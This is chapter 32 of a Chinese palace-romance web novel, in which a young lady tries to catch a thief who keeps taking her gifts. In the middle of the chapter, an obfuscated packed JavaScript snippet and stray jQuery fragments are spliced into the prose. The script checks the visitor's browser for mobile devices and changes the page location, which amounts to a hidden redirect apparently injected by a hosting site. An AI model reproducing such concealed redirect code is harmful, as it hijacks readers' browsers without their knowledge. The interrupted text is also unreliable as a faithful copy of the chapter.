32. 第 32 章

作品:《天然黑养成手札

    皇城说小不小,但凡好的地段,都由达官显贵占着,谁家有点风吹草动,不说一清二楚,那也是心里有数,昨日钟府闹出那般大的动静自然逃不开众人的耳。


    钟凝霜来时,不少人视线望她身上飘,似乎想从中瞧出几分钟府破败的征兆。


    然而钟凝霜背脊挺直,路过时还会笑着同人打招呼,和往日并没什么两样。


    一个同她较好的姐妹凑上前,压低声音道:“昨儿的事我都听说了,我小金库里还有些银两……”


    “我说你们怎么个个都这么看我,”钟凝霜笑着开口,神色释然,权当解释道,“不过恐怕得辜负你的好意了。都是家里一个下人胆大包天,让他跑个腿,没成想那厮竟昧了银钱去赌,后边窟窿补不上,这才闹出此等丑事,让大家看笑话了。”


    “原来如此,我就说堂堂靖安侯府,怎么可能缺银子。”


    众人纷纷应和。


    “还好早日揪出那恶奴,否则还不知要被他贪去多少。”


    钟凝霜目的达到,没再多少,只是应和着笑笑,一副从容豁达的模样。


    秦绾今日来得有些迟,本来还想借昨日之时讽刺钟凝霜几句,结果到时就从旁人口中听得赊银一事的缘由,准备好的一肚子话都作废了。


    “咦,我好像瞧见永安公主了。”人群中冒出一道声音。


    “还真是!”旁边一人应和。


    永安出现在众人眼前时,头上已经看不出半点外伤了。


    原本围在钟凝霜身边的好事之人逐渐散开,一窝蜂围上去,嘴里一边说着关怀的话,一边七嘴八舌地给她讲她不在这几日书院内发生的趣事。


    钟凝霜和秦绾过来时,那些人识趣让出一道,不过因为二人这几日的不对付,之间的气氛显然有些微妙。


    “殿下万福,”钟凝霜询问了番永安的伤势,这才说:“这几日夫子堂上讲的重点我都记下来了,殿下尽管拿去看,若有不详尽的地方,尽可来问我。”


    永安对上她的视线后停顿了几息,微微抿了下唇,恹恹道:“放下吧。”


    钟凝霜心思敏锐,隐约觉着对方的态度似乎和往常有些不同。


    但转念一下,永安公主刚受了这么大的伤,才从鬼门关回来,心绪有异也是正常,便也没放在心上。


    秦绾在旁边轻嗤一声,见她看来不偏不倚对上她的目光:“钟大才女有心了。”


    永安抬头看了她们一眼。


    众人眼观鼻鼻观心。


    这几日秦绾没少找钟凝霜的茬,他们从一开始的震惊到现在的习以为常,不过永安公主应该是第一次见到。


    然而永安神情淡淡,脸上并没有什么反应。


    “一会儿夫子就要来了。”


    众人听出她的言外之意,纷纷散开,不再打扰,就连钟凝霜和秦绾也回到自己的座位上。


    大家嘴上不说,心中却纳闷。


    怎么感觉永安公主此次受伤回来,情绪寡淡了不少?不会同长乐郡主一般,也摔坏脑子了吧?


    不过话说起来,如今的长乐郡主倒不似从前那般痴傻了……


    -


    诗会过后,沈翊开始每天雷打不动地往长公主府里送些稀奇的小玩意,几日下来,门口的守卫对他的态度软化不少。


    只要不是涉及主子的,其他的事也愿意同他唠嗑几句。


    就好比程洲……


    “程先生琴艺精湛,每日都要给郡主弹上个把时辰。”


    “程先生写得一手好字,长公主特意让他写几张字帖给郡主留着临摹。”


    “程先生还会做纸鸢,昨日风势正好,在外头远远望去那个便是二人一同放的。”


    ……


    诸如此类。


    沈翊:“……”


    他一点也不想知道程洲如何。


    见对方还要继续,沈翊出声打断:“这几日送的东西,郡主可喜欢?”


    守卫神情中带着一闪而逝的古怪:“想来是喜欢的。”


    沈翊没注意到这一点,闻言略一颔首便转头离开。


    属实是不想再听到任何关于程洲的事迹了。


    他走后没多久,钟溪语兴致勃勃地接过沈翊今日送来的“饵料”准备“钓鱼”。


    此事还要从几天前开始说起。


    教授钟溪语功课的夫子大概得了长公主的意,大有将过去十几年落下的功课一口气全给她补上的意思,直补得钟溪语苦不堪言。


    若不是还有音律和骑术课穿插其间,聊以慰藉,钟溪语根本坚持不下来。


    就这那夫子还时常想着压榨她为数不多的快乐,打着拖堂的幌子压缩这两个课的课时,简直可恶!


    就在她每天按部就班顶着厚厚的课程表生无可恋度日之势,沈翊送来的小玩意可谓是及时雨,总算是给她枯燥的书案生涯增添了不少乐趣。


    结果她还没高兴多久,第二天,那玩意就不翼而飞了。


    第一回钟溪语还当是自己粗心弄丢了,结果转头就来了第二回,第三回……


    总之,世钰哥哥送来的东西就没在她手里完整待过一天。


    偏偏府上贵重的东西一样没丢,显然是故意为之。


    眼见这贼人如此嚣张,钟溪语莫名的胜负欲上头,下定决心一定要找出那个可恶的贼人,于是就有了如今这一幕。


    起初,钟溪语的头号怀疑对象还是自己的夫子。毕竟那老头每次看到她还有多余的时间“玩物丧志”,都是一副痛心疾首的模样,悄摸着让冷杉盯了一天,发现对方没有作案时间后还有些自我怀疑。


    虽然一连几天连贼人的影都没看到,钟溪语反倒更来劲儿了。


    不知不觉间,钟溪语的注意力渐渐从“世钰哥哥今天又带了什么好玩的东西”变成了“今天一定要抓住那个贼人”。


    钟溪语接过婢女送来的木盒,连盖子都没心思打开,绷着脸郑重其事地将盒子放到博古架上,随后视线一眨不眨地盯着木盒,整个人倒退着出了门。


    直到大门合上,确保关门前的最后一秒盒子还在原地后,钟溪语这才长舒一口气。


    “快,将房门锁上!”她下令道。


    旁边的婢女熟练上前,正要动手锁门又听见自己郡主临时改变主意。


    “等等!我再看一眼。”说着钟溪语就推开门。


    结果这一看就傻眼了。


    “不见了……”她喃喃道,一脸的目瞪口呆。


    旁边的婢女没听清,好奇往里看去,却见原本放置木盒的位置已然空无一物,顿时一副见了鬼的模样。


    钟溪语满脸沉重地看着博古架空荡荡的一角。


    天杀的贼人,竟然直接连木盒也一并带走了!


    她立即招来守在屋子四面的婢女询问,结果却是一无所获,所有人都表示没看到任何人影进出这间屋子。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142799|164559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钟溪语不死心地看向另一边:“冷杉,你也没看见吗?”


    冷杉摇头。


    钟溪语眼神中充满疑惑:难不成府里有什么脏东西?


    正想着,耳边传来冷杉古井无波的声音:“没准是什么畜生干的。”


    “不会吧……”


    能把这么大的盒子拖走,那得是多大的畜生呀。


    钟溪语抽了口气,就看见一道黑影从天上直直落下。


    冷杉适时往旁边迈了一步,下一秒,一只麻雀不偏不倚地掉在她原本站着的位置,一动不动。


    钟溪语匪夷所思地抬头看了看天上。


    天朗风清,晴空万里。


    她俯下身凑近,见麻雀没有外伤更是奇怪,伸手戳了戳,不成想上一刻还形同尸体的麻雀毫无征兆地煽动翅膀扑腾起来,冷不丁吓了她一跳,然后拍着翅膀乱七八糟地飞走了。


    这么一打岔,钟溪语也没心思深究那木盒究竟是如何消失的了。


    “算了,等明日我就让人时时刻刻盯着,就不信在众人眼皮子底下还能消失不见!”钟溪语握了握拳,愤愤甩袖离开。


    没办法,下一堂课要开始了。


    钟溪语到时程洲正背对着她站在窗边,窗外隐约有一抹白影划过。


    “凛之哥哥你养鸟了?我好像瞧见有什么东西从窗户飞出去了。”钟溪语走上前,扒着木窗好奇探头。


    程洲见她整个身体都探到外头,立即伸手将人护住:“小心,哪有什么鸟,不过是纸张被风吹出去罢了。”


    “这样啊。”钟溪语稍显遗憾,视线不死心地朝外扫了一圈。


    “你若喜欢,下回我去外头寻一只羽色漂亮的。”


    “也没有,我有糯米了,还是不去祸害那些鸟儿的好。”


    钟溪语说完冷不丁转身,就发现自己几乎整个人被程洲环在怀里。


    只见对方那张蛊惑人心的脸就这样毫无征兆地在眼前放大。


    这般近的距离,钟溪语甚至都能瞧见他眼尾处一颗极淡的红色泪痣,呼吸交织间,鼻尖还能嗅到浅浅的药草味,让人上瘾。


    但这都不是重点。


    钟溪语从美色的冲击中缓过神来,缓缓低头,就看见自己一只脚正踩在程洲鞋上,小心翼翼抬起后,原本洁白无痕的靴子上赫然多了一道醒目的灰印。


    一瞬的心虚过后,钟溪语迅速反应过来,立刻伸手将人往后推了推,鼓着脸义正言辞道:“凛之哥哥,你站这么近干嘛,害我都没地方落脚了。”


    程洲咬了咬牙,脸上却看不出丝毫异样:“抱歉。”


    钟溪语轻咳一声,移开视线:“下次注意啊。”


    呵。


    一道轻不可闻的气音自头顶传来。


    钟溪语耳朵一动,狐疑抬头。


    程洲眸色潋滟,温柔回视:“怎么了。”


    钟溪语仰着头狐疑地盯着他瞧了一会儿,没发现什么端倪。


    难道是自己幻听了?


    钟溪语自我怀疑了会儿,余光瞥见婢女摆好古琴,立刻将此事抛之脑后,朝那边快步跑去,嘴上还不忘招呼他。


    “凛之哥哥别耽误时间了,一会儿就到晚膳了。”


    “来了。”程洲应声,抬手理了理前襟,衣袍翻飞间,不动声色地抬脚将什么东西往塌下踢了踢,随即从容不迫地朝她走去:“昨日那首青词小调郡主练得如何了?”